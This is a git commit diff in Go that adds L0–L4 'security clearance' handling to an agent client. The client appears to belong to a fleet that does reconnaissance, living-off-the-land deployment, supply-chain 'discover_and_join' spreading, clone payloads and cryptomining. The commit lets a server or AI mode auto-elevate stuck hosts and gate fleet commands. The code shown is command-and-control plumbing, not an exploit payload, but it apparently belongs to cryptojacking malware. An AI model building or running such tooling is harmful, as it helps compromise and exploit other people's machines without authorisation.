Add L0-L4 security clearance for fleet commands and AI elevation.
Gate manual and AI commands by per-agent clearance, auto-elevate stuck hosts to L4 when AI mode allows, and surface clearance in Access Depth and LOTL timeline.
This commit is contained in:
@@ -78,6 +78,9 @@ type AISnapshot struct {
|
||||
|
||||
Capabilities AICapabilitiesSnapshot `json:"capabilities"`
|
||||
Stuck bool `json:"stuck"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
||||
InheritedPhenotype *InheritedPhenotype `json:"inherited_phenotype,omitempty"`
|
||||
|
||||
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||||
AdaptiveStrategySummary string `json:"adaptive_strategy_summary,omitempty"`
|
||||
@@ -137,6 +140,16 @@ func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot {
|
||||
Capabilities: buildAICapabilities(cfg, deployOrder, miningChain),
|
||||
ChainExhausted: ms.ChainExhausted,
|
||||
}
|
||||
c.mu.Lock()
|
||||
snap.ClearanceLevel = c.clearanceLevel
|
||||
if len(c.atlasSkips) > 0 {
|
||||
snap.AtlasSkips = c.atlasSkipsSnapshot()
|
||||
}
|
||||
if c.inheritedPhenotype != nil {
|
||||
copy := *c.inheritedPhenotype
|
||||
snap.InheritedPhenotype = ©
|
||||
}
|
||||
c.mu.Unlock()
|
||||
snap.Stuck = aiSnapshotStuck(snap, ms)
|
||||
|
||||
if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 || len(strat.Reasoning) > 0 {
|
||||
|
||||
@@ -64,11 +64,17 @@ type AgentClient struct {
|
||||
tierPolicy miner.MiningTierPolicy
|
||||
// adaptiveStrategy holds server reasoning trace for diagnostics/UI.
|
||||
adaptiveStrategy AdaptiveStrategy
|
||||
// atlasSkips are fleet-learned hard subtree blocks from the failure atlas.
|
||||
atlasSkips []AtlasSkip
|
||||
// inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics).
|
||||
inheritedPhenotype *InheritedPhenotype
|
||||
// triplePolicy is server-pulled recon → deploy → mining gate policy.
|
||||
triplePolicy miner.TripleOnionPolicy
|
||||
triplePolicyLoaded bool
|
||||
// joinLane is the last successful discover_and_join supply-chain lane.
|
||||
joinLane string
|
||||
// clearanceLevel is the server-granted security clearance (L0–L4).
|
||||
clearanceLevel int
|
||||
|
||||
// lastJobAt records when the most recent valid mining job was delivered.
|
||||
// The Stratum fallback manager uses this to detect "connected but jobless"
|
||||
@@ -384,6 +390,11 @@ func (c *AgentClient) authenticate() error {
|
||||
}
|
||||
c.applyAuthLotlPolicy(resp)
|
||||
c.agentID = resp.AgentID
|
||||
if resp.ClearanceLevel > 0 {
|
||||
c.mu.Lock()
|
||||
c.clearanceLevel = resp.ClearanceLevel
|
||||
c.mu.Unlock()
|
||||
}
|
||||
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
|
||||
c.mu.Lock()
|
||||
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
|
||||
@@ -488,6 +499,15 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
hps := c.pool.HashesPerSecond()
|
||||
c.pushAISnapshot(hps)
|
||||
}()
|
||||
case "clearance_update":
|
||||
var payload struct {
|
||||
ClearanceLevel int `json:"clearance_level"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &payload); err == nil && payload.ClearanceLevel >= 0 {
|
||||
c.mu.Lock()
|
||||
c.clearanceLevel = payload.ClearanceLevel
|
||||
c.mu.Unlock()
|
||||
}
|
||||
case "command":
|
||||
var cmd struct {
|
||||
Action string `json:"action"`
|
||||
@@ -1130,6 +1150,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.StratumEgress = c.stratumEgress(false)
|
||||
}
|
||||
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
|
||||
if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 {
|
||||
stats.AtlasSkips = atlasSkips
|
||||
}
|
||||
if lastVulnReport != nil {
|
||||
score := lastVulnReport.RiskScore
|
||||
stats.VulnRiskScore = &score
|
||||
|
||||
Reference in New Issue
Block a user